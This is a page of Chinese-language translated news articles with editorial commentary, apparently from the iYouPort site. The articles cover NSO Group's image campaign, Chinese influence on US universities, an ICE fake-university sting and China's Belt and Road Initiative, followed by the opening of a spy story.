根据以色列报纸 Yedioth Ahronoth 的说法，这是第一次在外国发现其恶意软件 Pegasus，但NSO集团自2011年以来一直在销售这种最邪恶的监控技术。在2016年时NSO非常不愿意引起公众的注意，甚至没有网站，它所获得的新闻报道很少，并且看起来像是一种秘密。

然而三年后，对于这家一直在政府黑客承包商的阴暗世界中运营的公司而言，有了一个180度的大转弯，NSO正在进入市场，在营销和公关方面采取了前所未有的步伐。

仅仅两年前，只有密切关注政府间谍软件行业的人才知道NSO是什么，而现在，该公司正在向媒体提供更多的采访，甚至购买谷歌搜索广告，并刚刚推出了一个时尚的新网站。

许多人可能是在2018年12月第一次听说NSO的，当时该公司帮助沙特阿拉伯监视华盛顿邮报的记者 Jamal Khashoggi，之后他于10月份在土耳其伊斯坦布尔的沙特领事馆遇害。

现在，想要了解更多关于NSO信息的读者已经可以转向谷歌搜索了，在某些情况下，第一个结果就是NSO支付的谷歌广告。在搜索该公司的名称时，以及在搜索“滥用”和“人权”等名称和词语时，都会出现 NSO 新网站的广告。

「图」

「图」

NSO发言人告诉 Motherboard，“像许多公司一样，NSO购买 Google 搜索广告作为我们新网站发布的一部分。”

该发言人在通过电子邮件发送的声明中说：“这些广告将会向想要了解更多有关NSO以及我们如何帮助情报和执法机构预防和调查犯罪和恐怖活动以拯救生命的工作的用户展示。”

谷歌没有回应多个评论请求。

像NSO集团这样的间谍软件公司做过的事一样，另一家意大利公司 Hacking Team 也向政府出售间谍软件，后者也制作了一个臭名昭著的商业广告。 2012年，英国和德国的竞争对手 FinFisher 让 Bloomberg 接触其常务董事。

NSO 的新网站提供关于公司运营方式的流行语句（例如 “我们采取开创性的方法，将严格的道德标准应用于我们所做的一切” 等等，胡扯），并试图通过展示员工享受公司的游戏室和做普拉提的福利照片，来吸引新员工加入。

该网站还声称，NSO的技术有助于“拯救全球数千人的生命”。太厚颜无耻了！

NSO集团的营销活动伴随着一场精心策划的公关之旅。在过去的几周里，NSO的创始人对 Yedioth Ahronoth 进行了一次广泛的采访，并登陆了美国主流媒体CBS新闻的60分钟节目，首次在公司办公室内放置了摄像机。

在 Yedioth Ahronoth 的报道和60分钟专题采访中，NSO高管并未分享有关该公司的大量新信息，但是，主要是借此机会否认其技术的滥用，并强烈否认 Pegasus 间谍软件在杀戮记者 Jamal Khashoggi 中扮演任何角色。

在分类知识列表1中的“政府的间谍行为”栏目中找到 Pegasus 间谍软

件如何杀死了 Jamal Khashoggi。

在 Yedioth Ahronoth 的采访中，NSO集团声称已经帮助阻止了“欧洲几次非常大规模的恐怖袭击”，并声称在击败墨西哥毒枭 Joaquín“El Chapo”Guzmán方面发挥了“至关重要的作用”。在美国的主流媒体节目上，NSO 集团的联合创始人 Shalev Hulio表示，Pegaus 间谍软件帮助拯救了“成千上万的人”。

真是惊世骇俗的不要脸。

在过去的三年里，多伦多大学 Munk 学院的学术团体 Citizen Lab 的研究人员发现了大约30个案例，其中NSO的间谍软件被用来瞄准人权活动家和记者，发生在墨西哥、阿联酋，还有加拿大。去年夏天，国际特赦组织指责该公司的恶意软件针对其研究人员发起了攻击。然后在11月，福布斯发现有人试图用NSO的恶意软件攻击在伦敦的沙特持不同政见者。

NSO 集团的创始人最近也在一家"欧洲私募股权公司"的帮助下重新获得了对该公司的控制权。据报道，此项交易对该公司的估值约为10亿美元！

作为交易的结果，一些金融公司已经揭示了有关NSO的更多有趣的新细节，例如，该公司在35个国家拥有60多个客户，以及约600名员工。

尽管研究人员和记者详细报道了多起滥用案件，但NSO集团的联合总裁 Tami Shachar 告诉60分钟：“没有任何证据证明”。

Hulio 还反咬说“我们只有三例误用，三例。在成千上万挽救生命的案例中，有三个是滥用行为，而那些滥用该系统的人或组织，他们不再是客户，他们再也不会成为客户。“

公民实验室的创始人兼董事 Ronald Deibert 表示，NSO 应该承认并防止滥用，而不是“粉饰他们日益模糊的公众形象”。

“我们（和其他人）对数据驱动、同行评审和基于证据的NSO间谍软件研究毫无疑问地表明，他们的技术被用来瞄准记者、人权维护者、大赦国际的工作人员、研究科学家、健康倡导者和调查人员，导致大规模失踪。这不是你的公关宣传可以从人们的思想中解脱出来的东西。你可以随心所欲地打扮弗兰肯斯坦，但在人们内心深处，你仍然是一个怪物“。

此事值得注意的两个方面：首先，美国巨头谷歌在帮助其打广告、美国主流媒体CBS将其邪恶的狡辩搬上了屏幕—还是热门节目。为什么要给他们这样的机会？另方面，该公司为什么在广泛揭穿的情况下依旧有胆子公开站出来做如此无耻的申辩？是谁在背后支持他们以令他们有了“不会遭受制裁、还能继续捞更多钱”的信心？该公司的这份“自信”会将激发多少同类的邪恶公司帮助全球当权者监视并杀戮反抗者？还需要多少条性命这个世界才能认清恶行？

Israeli Hacking Company NSO Group Is Trying to Clean Up Its Image. The notorious and controversial Israeli hacking and surveillance tools vendor NSO Group has launched a big marketing campaign with a new website and Google ads.

原文

金钱如何变成了一种病毒？ - iYouPort

地缘政治

根据一些中国学者上个月发布的一份报告，中国共产党利用含糊的威胁诱使美国教授和学生避免可能冒犯中国政府所谓敏感性的话题——例如研究或讨论西藏、台湾、新疆、人权和中国政治。在一所大学接待了达赖喇嘛尊者之后，北京进行了报复，禁止进入该大学的中国学生和学者获得中国政府的资助。

当人们委托的这些原本应该追求真理的机构开始躲避真理时—— 特别是他们才能做那些我们很难自己做的学术研究—— 所有人都会受苦。

大学的求实角色的重要性不容小觑。医学研究人员提供有效和无效疗法的数据；经济学家衡量不同政策选择的影响；社会学家研究公共机构和个人经历如何影响教育及其结果；政治学家分析政府 .....美国大学的完整性很少受到质疑，因为在假设学者享有学术自由。

相比之下，中国学者居住在一个截然不同的世界。10年前我在北京工作时，经常遇到那些不得不小心自己说些什么话的学者。2010年，我与北京大学—中国最优秀的教授共同主持了一个项目。当其中一位发言者提到政权批评家刘晓波的名字时，他变得焦躁不安。教授担心他会被降职或者减薪。

十年之后，对冒犯共产党政权的恐惧已经蔓延到了美国校园。一些责任属于中国，但其中大部分责任属于美国大学本身。通过越来越多地依赖中国资金，他们陷入了深刻的利益冲突：坚持学术自由、还是取悦北京。

在过去十年中，对中国的经济依赖程度大幅增加。大学以创纪录的数量招募中国学生。入学人数飙升 400%。根据美国商务部的数据，中国学生每年的学费估计为 120 亿美元。

大学请求中国资金扩大市场。纽约大学、约翰霍普金斯大学、杜克大学等与中国政府的大学合资建立了分校，接受了中共的慷慨捐赠和土地捐赠。资金紧张的大学寻求中国资金来举办孔子学院，有些人认为

孔子学院是宣传中心。据美国教育部披露的消息，自2011年以来，中国消息来源说为77所美国大学捐款超过 4.26 亿美元。这个数字几乎肯定是轻描淡写了，因为大学只需报告超过 250,000 美元的捐款，这个数字也不包括非现金支持。上周，据透露，与外国贿赂有关的中国企业集团 CEFC 帮助哥伦比亚大学能源中心筹集了50万美元。

学术自由是受害者。

一个最近的调查，对500名在美国的中国学者的采访发现，其中约 68% 的受访者被确认为自我审查。

正如普林斯顿大学东亚研究荣誉教授佩里·林克（Perry Link）最近所说的，“我们不谈论’台独”，我们谈的是“两岸关系”。我们不谈论“占领西藏”，我们不会把六四大屠杀称为“大屠杀”。6月4日是“事件”，或类似的事。“

该报告认识到了对学术自由的威胁，建议美国大学更仔细地审查他们接受的中国捐款，以确保他们不会限制学术自由。

但是，这样的提议基本无效。因为，中国的捐款从未明确限制学术自由。相反，是人们自己在担心如果不能充分地自我审查就无法得到北京的支持。

减少干扰的唯一方法是让大学优先考虑说出真相的历史使命。大学仍然应该欢迎中国学生，但他们需要停止接受中国政府的资金。立法者、商人和公众依靠无偏见的研究来帮助他们做出明智的决定。如果我们的大学再也不能被视为真理的仲裁者，谁能做到？

罗伯特·普雷希特（Robert E. Precht）是总部设在纽约的法律智囊团 Justice Labs 的主管。此前，他曾担任中国公共利益法律网络主任和密歇根大学法学院助理院长。

American Universities’ China Problem: fear of offending the Communist regime has spread to American campuses Some of the blame belongs with China, but much of it belongs with the US universities themselves.

原文

钓鱼留学生的背后 - iYouPort

地缘政治

在这个时代，作为骗子想要让人们相信你，你需要的不仅仅是国家认可。您还需要社交媒体……

「图」

「图」

为了进一步巩固其作为惩罚性仇外心理之丑陋体现的声誉，ICE 在密歇根州建立了一所假冒的大学，以*诱使*移民试图做法律原本允许他们做的事：在赚取收入的同时留在该国求学。IYP 去年编译了这一报道，现在这件事又有了更多新的揭露。

这是一所虚假的大学，它不仅拥有真正的校园，并且还获得了国家认证—— 该虚假大学的目的是将受骗者支付的学费转化为逮捕和拘留所需的一切证据。

在 ICE 开始钓鱼那些在很大程度上只是想做一些合法的事的人之前，ICE 只收取了60,000美元的申请费。受害者不会通过完成学位而获得在美国生活和工作的机会，正相反，有超过160名被骗的学生被 ICE 拘留。到目前为止，只有八个人实际上面临指控。意味着绝大多数人都是被冤枉的。

在这个时代，想要让人们相信你（准确说是成功受骗），你需要的不仅仅是国家认可。您还需要社交媒体。正如“卫报”报道的那样，在这起诱骗案件中，ICE 还创建了 Facebook 群组，同时亲自参与了这个社交工程钓鱼的刺激行动。

超过*600*名学生，大多数是印度公民，都参与了该计划，卫报发现，该计划包括由美国第二大联邦调查机构 *ICE* 的国土安全调查（*HSI*）部门创建的//虚假 Facebook// 档案。

“与其他所有人一样，负责钓鱼的执法机关必须在 *Facebook* 上使用他

们的真实姓名，我们在面向公众的指南页面上明确了这一政策，一位 *Facebook* 代表告诉“卫报”，该代表称 “不允许操作虚假账户，我们将对任何违规账户采取行动。”

由于目前对被捕的八人的起诉已经推进，此案的内幕细节也逐渐曝光。

ICE 的一个假帐户名为 Ali“AJ”Milani，其自称为底特律居民，其中包括一个充满南亚居民的“朋友”名单。另一个假账户是 Carey Ferrante，这是一个与 Milani 作为“朋友”关系的虚假账户，并与潜在的目标学生交换了信息。

至少有五个 **Facebook** 账户被确定为 **ICE** 钓鱼者的虚假账户。在卫报接近 ICE 征求意见后，所有这些账户都停止使用了。

虚假的 Facebook 帐户为假大学的背景故事提供支持。这场诈骗活动能取得成功的关键还在于国家机构和 ICE 共谋制造虚假认证的背后手段。这让受害者看起来会是一个在外观上非常逼真的大学。然而，美国政府坚持认为，“每一个申请学位以延长在美国停留时间的人都知道他们正在接受什么”。

在起诉书中，政府说：“每个学生都知道大学的课程没有得到美国国土安全部的批准，这是非法的，在与他人讨论该计划时应该使用自由裁量权。”

这种说法根本站不住脚—— 不只有在该机构的行为直接与这一主张相抵触时。底特律自由新闻社获得的文件和声明表明，"政府在这场诈骗行为期间直接向学生撒谎"。

这对ICE或整个政府来说都不是好事。假的 Facebook 个人资料可能是整个谎言运动中最不起眼的那一个，但它足以表明，政府对私人和机构都没有任何尊重。事实显示，无论是条款和条件还是庄严的权利，如果它们阻碍了政府想做的事，它们只会被轻易忽略。

对于非美国的其他国家公民来说，如果您希望获得在美国的留学机会，请务必谨慎选择；尤其是不要使用 facebook 等社交媒体中的群组获得相关推荐。

ICE’s Fake University Sting Operation Also Used A Bunch Of Fake Facebook Profiles. The fake Facebook profiles may be the smallest of the lies told, but it shows the government has zero respect for the

private people and institutions that happen to find themselves between it and its objectives. Whether its terms and conditions or enshrined rights, if they’re in the way, they’ll just need to be ignored.

原文

镶金带银的太极黑沙掌 — — 下一场来自帝国的威胁或许只是没有血腥 - iYouPort

地缘政治

唱衰的态度是一码事，基于无知的乐观是另一码事

「图」

「图」

有读者不理解为什么我们批评西方的错误行为、警告民主的滑坡，不论是秘密地大规模监控、公开的绥靖、还是公然地违宪。其实道理很简单，正因为这些错误导致民主衰落，才给了中国以机会。Julian 曾经说过，俄罗斯不是最值得警惕的，中国才是，这个国家基于阴柔的文化以西方的文化习惯很难抵御。他是对的，然而更可怕的是，西方究竟是不是真的想抵御，都是个问题。

BRI 的真正目标是与美国的霸权之争，也就是我们一直强调的“高堡奇人格局”，并且它已经在技术领域实现了（想想看，是先有的 BAT 还是先有的 BRI，就明白了）。不论是曾经的经济学者所指出的模仿马歇尔计划，还是如今的互联网政治学者指出的中美是最危险的国家，都同样描述了这一值得深思的前景。

经济学人多次暗示过这一担忧，是为数不多的能做到如此大局观的媒体 — — 虽然不是经常的，也没有突出讨论，我们认为在“通往帝国之路”的部分中应该含有更多内容 — — 但至少它不是表层化的地缘政治视角，后者一直是绝大多数媒体在提到东西方冲突时所采取的。

所谓的主流媒体更愿意突出中国的经济计划挺进或遇阻的新闻，同时淡化了其他更为深层的问题（至少应该指出“我们还不知道什么”），导致很多依赖于这些媒体的读者形成一种无知的乐观，更导致了严重的问题难以被审视更不用说解决。这绝不是认真警惕中国的立场的表现，反而是帮了中国。

经济学人这篇文章并不是关于“一带一路”之恶最好的探讨，虽然它的

思考方式相比下更深刻，但它仍基于大众可见的表层信息，而没有对隐藏信息更为深入的披露和挖掘。当然经济学人不是调查性新闻，揭密不是它的本职工作，但读者至少可以明白了，现在过于乐观还不是时候。

"依旧是我们曾经的呼吁"：全世界追求民主的人们，联合起来。

延伸阅读：《"//如果中国制定了规则……习近平的世界秩序：2024年7月//"》；《"//哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？//"》

「图」

「图」

缅甸商业精英的年轻成员 Than Swe 在军事独裁统治中成长，将西方世界视为保护者和模范。即使西方政府实施越来越严格的贸易和旅行禁令以惩罚从 1988 年到 2016 年管理他的国家的军政府，Than Swe 先生和许多同胞一直都认为西方是道德秩序的支持者。一些关于西方价值观正摇摇欲坠的警告可能会让他们感到刺耳。Than Swe 先生在青少年时期访问美国时，收到的祝贺就是“欢迎来到一个拥有良好人权的国家”。作为地方专制主义的替代方案，西方提供了希望。

“人们仍然认为西方国家是最好的，”26 岁的 Than Swe 先生轻声说道，此时他正坐在中国港口城市厦门的一个大学会议室里。然而，作为在缅甸人口中占据 2.5% 的华人之一，他越来越多地看到的是来自隔壁中国“崛起的”投资和援助的“替代方案”。令他沮丧的是，他的国家的许多人不同意他。

他回忆起 2011 年在伊洛瓦底江上修建水坝的建议是如何被封锁的，因为愤怒的抗议活动是由于淹没村庄和破坏生态系统的工程只为了中国而非缅甸生产电力。中国被比作殖民列强，“无所不用其极”。

经过几个世纪不安的关系，帝国要求贡品，还有偶尔进行的战争，亚洲大部分地区现在不得不去考虑到一个“不仅仅是贸易伙伴”的巨大邻国，中国。随着财富积累和“成功”，中国模式正在建立所谓的的新信心，并积极地分享它的雄心壮志。

缅甸的辩论现在重点关注孟加拉湾 Kyaukphyu 和毗邻的经济特区价值 73 亿美元深水港的计划。中信集团（一家中国国有企业集团）的子公司正在持有 70% 的股份，并将在该港口运营长达半个世纪。如

果 Kyaukphyu 每年增加到足以处理 490 万个集装箱，正如中信所希望的那样，它将与英国最大的集装箱港口费利克斯托相匹敌 — 这是一个惊人的转型。

怀有野心

西方经济学家很难看到缅甸从 Kyaukphyu 获得什么收益，Kyaukphyu 远离该国的商业之都仰光，然而他们轻而易举地就看到了中国从中的收益：一片向内陆西南部省份云南开放的海洋。它已经是石油和天然气管道的终端，能够带来约 10% 的中国能源进口需求，而且绕过了新加坡附近的战略阻塞点马六甲海峡。

外国外交官担心中国将港口视为其战舰的未来避风港。缅甸怀疑论者对政府持有 30% 股权的贷款感到震惊。在斯里兰卡政府无法偿还其建设债务之后，反对者指出了中国在斯里兰卡建立的汉班托塔港的前车之鉴，以及69平方公里的土地。斯里兰卡前官员还告诉了纽约时报一些其他秘密的中文条款，例如要求分享有关通过港口的所有交通的情报。

Kyaukphyu 的发展多年来一直在讨论中。但是现在这个港口像其他各种项目一样，已经席卷中国庞大而雄心勃勃的“一带一路”计划（BRI）。根据 BRI 官方公告，缅甸是众多“朋友”中的一员，他们将“21世纪的海上丝绸之路”连接起来，将中国与遥远的市场以及从北极到印度、太平洋和大西洋的能源储备联系起来。这就是那个“R”。而“B”是“丝绸之路经济带”，将中国陆上与欧洲、非洲和中东的铁路、高速公路和光缆连接起来。2013年，中国共产党领导人习近平发表了一系列讲话，旨在将这两者结合在一起。

一些焦虑的外交官和政客称 **BRI** 是一个总体计划，旨在将欧亚国家转变为支流国家，依赖中国资本，与中国拥有的铁路、管道和道路交叉，并越来越受中国规则的管辖，从贸易到“网络安全”。2017年10月，美国国防部长詹姆斯·马蒂斯（James Mattis）质疑单一国家设计的贸易路线的想法。“在一个全球化的世界中，应该有许多带和许多路”，他说。1月份访问中国时，法国总统伊曼纽尔·马克龙警告称，现代丝绸之路不可能“只有一条路”。

其他大使、政治领袖和商界老板们的眼光不那么宏大。他们认为，中国希望在多年的刺激支出中建立并输出多余的水泥厂、钢厂和玻璃厂，并将其重新组装到国外 — — 顺便把污染和造成温室效应的气体也输出出去。更明显的是，中国公司已经获得了 BRI 的合同。最愤世嫉俗的人看到了一场营销活动，习近平自负的全球性宣传，用口号重

塑中国在海外所做的一切。

总体规划还是营销？

但有一点，所有人都同意。在集装箱船时代复兴丝绸之路的谈论背后有着很多的钱。

今年1月，在中国的前中央情报局局长 Randal Phillips 告诉美国中国经济与安全审查委员会（USCC）一个国会机构，说，谈话中中国官员将这项倡议与美国资助重建的马歇尔计划进行了比较。这就有意思了。2017 年在北京召开的 BRI 论坛吸引了二十多位世界领导人。

关于 BRI 的有些部分看起来合理。在通过高速铁路、公路和电网改造中国后，该国的许多国有企业已经准备好了出口其专有技术。中国有资本，需要通过与欧亚大陆的联系发展其西部腹地，并希望与其共享陆地边界的 14 个国家建立更紧密的联系。

「图」

「图」

但其他方面则更令人不安。没有明确的 **BRI** 地图发布，该计划已经远远超出了欧亚大陆和中东的原始计划核心，从新西兰到北极、非洲到拉丁美洲，甚至是外太空。对 BRI 总预期投资的估计从 1 万亿美元到 8 万亿美元不等。“几乎不存在四舍五入的错误”，华盛顿特区战略与国际研究中心（CSIS）交通与能源项目数据库 Reconnecting Asia Project 的 Jonathan Hillman 指出。

中国没有系统地报告海外贷款，这更加剧了对可能远远超出经济的目标的谜团和不安。在华盛顿，政治家、学者、士兵和间谍正在重读英国地理学家 Halford Mackinder 的作品，他在 1904 年的作品中就认为全球力量在于控制着“心脏地带”，这是指 Volga 和 Yangzi 之间的枢纽地区。在“世界岛屿”，欧洲、亚洲和非洲的陆地上占主导地位。Phillips 告诉 USCC，海上丝绸之路计划与**13**年前美国中央情报局所为“非常相似”，表明共产党的解放军希望建立远离海岸的军事基地的“珍珠串”。

有些“珍珠”会非常偏僻。位于太平洋岛屿瓦努阿图的新中国码头在澳大利亚的南太平洋后院，距布里斯班 1,900 公里。瓦努阿图与中国的合同条款并不令人放心，它显示了政府所有的中国外汇银行 2.5% 利率的 15 年期贷款，如果不付款，可以全额收取。

“China’s Eurasian Century?” 这本书的作者是 NadègeRolland，这是一本关于 BRI 的书，敦促那些怀疑中国野心的人阅读习近平和其他领导人的言论。她写道，即使有一些是真诚的，他们也会透露一个“以中国为中心的区域秩序的复兴”计划。一带一路中心主任 Xiang Lanxin 和上海智库欧亚安全局赞同 BRI，并称中国的战略目标“既明确又可敬”。他认为，这一计划通过深化与欧亚大陆的关系，重新平衡中国对太平洋地区的影响，主要是指与美国的关系。不过，他承认，笨拙的 BRI 宣传“不必要地震惊了邻国”。当中国官员“说没有地缘政治参与……这不太有说服力。

悄无声息的践踏

BRI 也是一种软实力方案。Than Swe 先生就是明证。他是来自印度尼西亚、缅甸、斯里兰卡、泰国和土耳其的 40 名官员、军官和“特殊外国人才”团队的成员之一，在厦门华侨大学“新海上丝绸之路研究所”参加为期11个月的课程，研究中国的全球化方法。由中国埋单。

Than Swe 先生说他在厦门的这一年完全被改变了认知。他现在认为“中国是一个热情的国家，可以替代专横和武断的西方”。不仅仅是中国，其本国也促成了这种转变。经过了多年的国际同情，缅甸人民现在面临西方的批评，因为他们的国家对罗兴亚人的待遇，作为少数族裔的 Than Swe 先生指责英国殖民统治者。

Than Swe 先生被转化的结果显示了中国的优势之一。该国很懂得如何与有利的人交朋友。就如德国马歇尔基金会（一个智囊团）的安德鲁·斯托尔（Andrew Small）所分析的那样，有时这意味着贱民国家因腐败或滥用人权而被避开，有时意味着不良信用风险，其他资金来源很少，有时它意味着那些寻找战略选择的人。因此，中国想要对冲印度的南亚国家、希望得到阻止俄罗斯陷入困境的中亚政府、以及欧盟南部和东部厌倦了布鲁塞尔的唠叨或冷落的边缘国家。

Than Swe 先生并不是该研究所唯一一位赞扬中国而不愿意评判该国的学生。另一名学生 Kamal Bombugalage 承认他是斯里兰卡的一名商人，他感谢中国在他的祖国内战期间提供的支持，以及向他的国家提供的数十亿美元建设港口和工业区以及其他计划。他捍卫汉班托塔的发展是一项“合理的投资”。他还抱怨说，西方殖民大国掠夺了斯里兰卡然后离开了。相比之下，中国来贸易和建设。第二位斯里兰卡海军军官弗雷德·塞内维拉特（Fred Seneviratne）称，西方国家试图通过将援助或贷款与严格条件联系起来以强加其价值，“把它与中国比较一下吧，中国的援助没有条件“，他说。

该研究所的执行副总裁 Xu Peiyuan 也大夸 BRI，他引用了习近平关于中国建立全球“共同命运和利益共同体”的口号。他还列出了一些明确的意识形态选择，他希望 BRI 合作伙伴能做出这些选择。这些措施包括将所有政治制度视为平等，避免“颜色革命” — — 这是民主运动的代名词，曾震撼伊朗和乌克兰等国家。

当被问及 BRI 是否促进中国治理时，学生们热情地表示同意。“这个计划将向世界推出一种新模式。我们准备接受这一点“，Commodore Seneviratne 说。在其存在的五年后，其他人更加谨慎了 — — 因为政治和债务。

“BRI 进行时”

从钱开始。可能很难掌握 BRI 的总数，作为数千亿美元的公告一个接一个的模糊不清，但没有人怀疑需要巨额投资这一点。亚洲开发银行是一个多边组织，非洲大陆需要在 2017 年至 2030 年之间投资 26 万亿美元用于维持当前的增长率，并适应气候变化。与这些数字相反，中国投资的规模本身并不代表全球统治的计划。

BRI 导致焦虑的地方在于对最脆弱国家的影响。今年 3 月，智库全球发展中心发布了一份文件，指出由于与 BRI 相关的贷款，已经产生了八个债务危机高风险的国家（见下图）。高速公路项目占黑山年度 GDP 的四分之一以上。从 2016 年开始的中老铁路的花费可能相当于老挝 GDP 的一半。

「图」

「图」

这些贷款不不是什么慈善事业。位于美国弗吉尼亚州威廉玛丽学院的 AidData 项目在 2000–14 年间追踪了 3540 亿美元的中国海外贷款。大约四分之三的贷款是商业利率。一些美国官员称部分中国贷款是“掠夺性的”。国际货币基金组织（IMF）克里斯蒂娜•拉加德（Christine Lagarde）4月份在北京发表讲话，对有问题的债务提出了担忧，并敦促中国确保“一带一路只在需要的地方进行”。

不管是否需要，有些地方是拒绝 BRI 的。由于担心债务问题以及暗箱操作的支付行为，导致中资项目被取消、暂停或转介给反腐败监管机构，以便在尼泊尔、缅甸和马来西亚进行审查。最近的一次选举后，即将上任的马哈蒂尔政府暂停了他的前任商定的 BRI 项目。其中包括 700 公里的高速铁路和石油管道，价值总计 200 亿美元。巴基斯坦是

中国的老朋友，也是中国最大的单一 BRI 项目 — — 中巴经济走廊（CPEC）的所在地，项目受到限制，据报道，官方最近几个月寻求更多的中国贷款，以避免不得不转向国际货币基金组织。

在斯里兰卡这边，关于中国在其国内政治中的影响力有助于推翻政府。然而 Commodore Bombugalage 也感到失望的是，中国对基础设施的关注导致在汉班托特附近建造了一个板球场和一个前总统家乡地区的小型机场，其竞选活动也得益于中国的慷慨解囊。他希望的是“两三所大学”而不是白象，这样斯里兰卡人才可以建立一个以知识为基础的经济：“否则就不可持续。”

除了帮助当地人，这些项目也帮了中国公司大忙。使用由于没有确切定义 BRI 项目的数据，包括 69 个欧亚国家的所有已知中资运输项目，CSIS 发现中国政策性银行和国有资金资助的项目之间存在巨大差异，以及多边开发银行资助的那些。当项目由中国资助时，**CSIS** 发现， **89%** 的承包商是中国公司。相反，当项目由多边组织资助时，十分之四的承包商是当地的，不到三分之一是中国人，其余来自第三国。

中国没有发明“限制性援助”（就是附带条件的援助），但中国关于“共同命运”的言论与由东道国政府债务支付的、充满中国工人的项目之间的差距，引发了轩然大波。

「图」

「图」

中国知道它需要清理自身形象。在与西方领导人的会晤中，中国领导人开始淡化其全球扩张的野心。2014 年，中国邀请外国政府加入新的亚洲基础设施投资银行，这是一家总部设在北京的多边贷款机构，因其遵循从公开招标到环境标准等各方面的国际规范而赢得赞誉。而贷款人与 BRI 保持着距离，从而助长了而不是化解了怀疑。7月，英国“ 金融时报”报道，作为 BRI 主体的中国国家开发银行，正在与西方机构“积极合作”，按照国际规则进行联合贷款。

2009 年至 2013 年担任美国财政部中国首席特使的大卫·加尔德（David Dollar）认为，贷款有所增加。“很多国家都在与中国运行贸易顺差，因为他们正在出售[中国的]自然资源。因此，从中国借款是有道理的。“如果 BRI 是关于建设基础设施和出口剩余产能，中国将对贷款风险更加谨慎。但是，“如果这主要是地缘战略，那么中国将愿意承担损失，” Dollar 先生表示，他现在在华盛顿的智库布鲁金斯

学会（Brookings Institution）。

通往帝国之路

事实上，在允许一个国家开放和维持贸易路线的权力与建立帝国的影响力之间，从未有过精确的划分。“丝绸之路”一词深受中国领导人的喜爱，于 1877 年由德国地理学家 Ferdinand von Richthofen（“红色男爵”的叔叔）创造，描述了融合商业、外交和硬实力的古代贸易路线。 朱利叶斯·凯撒时期，中国丝绸在罗马很受欢迎。在被现代伊朗、印度或帕提亚等地的中间人交易之前，它已经开始作为中国统治者送给附庸国的礼物。一些贸易路线受到中国驻军的保护。

丝绸之路，铁拳

澳大利亚智库洛伊研究所（Lowy Institute）彼得•蔡（Peter Cai）的一项研究显示，中国领导人已将国家安全与 **BRI** 基础设施项目明确联系起来。该研究还指出了 BRI 在发展中国西部的作用，包括新疆地区，数百万来自维吾尔族的穆斯林生活在严酷的镇压之下。Cai 先生援引前中国驻巴基斯坦大使陆树林的话说，改善与新疆的交通联系是“治疗恐怖主义的良药”，即“贫困”。庞大的 CPEC 项目旨在将新疆与巴基斯坦瓜达尔港连接起来。

自然应该有不止一个目标。但如果这些目标受到审查，有些人会更高兴些。在北京的欧洲外交官指出，中国称 BRI 是一个开放的多边“平台”，但是通过在 60 或 70 个国家推行双边谅解备忘录来建立它 —— 尽管特使报告中国领导人最近停止了敦促其他政府签署此类文件，在几个西欧国家拒绝之后。那些签署的国家被誉为该倡议的成员，“但成员是什么？没有创始章程，没有原则声明，一切仅仅在于北京的定义，“一位欧洲外交官说。

欧盟敦促中国对 BRI 核心的透明度、劳工标准、债务可持续性、开放式采购流程和环境问题制定规则。用于建造燃煤发电站的资金，特别是在巴基斯坦，是一个特别值得关注的问题。今年四月，德国报纸 Handelsblatt 透露，在北京的 28 位欧盟大使中，有 27 位签署了一份报告，称 BRI 对自由贸易规则构成了挑战，并给补贴的中国公司带来了福音。匈牙利自由党犹豫不决。

看着中国选择欧洲国家的基础设施计划，以及利润丰厚的航运流向选定的港口，导致一些欧洲政客将 BRI 视为分裂欧盟的阴谋。希腊于 2016 年以 2.81 亿欧元（3.125 亿美元）的价格将其主要港口比雷埃夫斯的多数股权出售给中国航运巨头中远集团，此举明显阻碍了欧盟

在中国驻南海驻军建设中的统一立场，及对其投资进行更严格的筛选。不过，这位欧洲外交官认为，中国试图让欧洲屈服于中国的意志，而不是打破它。他说，与俄罗斯不同，中国没有兴趣看到欧盟解体。

中国不仅仅是通过参与和加剧分裂来引起恐慌。它建立的联系也令人不安。西方外交官和商界领袖认为中国在制定标准方面挑战西方近乎垄断 — — 允许高速列车、移动通信或金融支付在各大洲闪存的通用技术规则。中国将越来越多地编写此类标准 ，还将编写适合其国家主导经济的交易规则，首先是补充而不是取代世界贸易组织的规则。

一些人在仲裁法庭上看到了这样的野心，中国正准备听取跨境 BRI 纠纷，这一举动已经在华盛顿、布鲁塞尔和其他首都发出警告。中国的 Visa 和 MasterCard 竞争对手银联正在利用 BRI 帮助其雄心勃勃地进军非洲支付和借记卡市场。其他非洲基础设施工程已被重新作为 BRI 计划命名，尽管它们是多年前首次计划的。

没有外国政府暗示中国应该永远是一个统治者。普通中国人对 BRI 所象征的东西感到自豪 — — 他们认为“这是一个与世界分享中国专业知识的机会”。只要问一下厦门这个拥有 350 万人口的富裕港口城市的国内游客就能知道这点。福建是其所在的省份，自阿拉伯单桅帆船和宋朝船只运送香港硬木、茶叶和瓷器进出港口以来，它一直是贸易中心，该省是世界上大多数华侨或海外华人祖先的家园。

在晚清时期，欧洲炮舰将厦门作为条约口岸向外国人开放。一座充满 19 世纪柱廊的西方商人和领事馆的岛屿每年吸引着数百万中国游客。博物馆记录了丹麦电报工程师如何将厦门与世界联系起来，海关服务由英国检查员负责。今天厦门与世界的关系正在逆转。该市正式成为海上丝绸之路的“核心”省份。它计划出口技术并培训外国官员。

其中一个专业是网络安全软件，评论家称之为“一体化专制”。厦门市发展和改革委员会主任、**BRI** 办公室负责人 **Ru Peng** 称赞当地信息安全公司 **Meiya Pico**，该公司开发的小工具允许警察和维稳部门破解密码。

BRI 目前还不是对基于规则的自由秩序的正面挑战。BRI 迟早需要非中国资金，为外人提供讨价还价的能力。西方政府可以在 BRI 内部工作，使其更加温和。毕竟，他们中的一些人曾经通过与当地暴君一起工作来开展高压运动，在遥远的土地上开放市场，只是为了学习关于殖民地的艰苦教训。或者西方可以竞争，出售现代化的西方方式的优点。

西方国家必须做的不仅仅是对贫穷的国家唠叨，不要拿中国的钱。他们至少应该帮助 **BRI** 国家评估计划，并向他们展示如何从透明度、高标准和正式合同中获益。如果西方真的担心中国领导的秩序，其政府就应该选择干点什么。中国纠缠的一带一路没有理由成为世界上唯一的选择。

China has a vastly ambitious plan to connect the world What is behind the Belt and Road Initiative?

原文

间谍演义地缘政治 - iYouPort

地缘政治

谍战片真的没什么惊奇了，摩萨德行动的现实比电影更神奇，他们是怎么做的？

“每日邮报”在一份新报道中讲述了一个令人震惊的间谍揭露。一名伊朗核科学家被偷运出伊朗并被带入英国，然后再前往美国—美国此前曾帮助以色列情报部门计划在伊朗国内暗杀另一名核科学家。

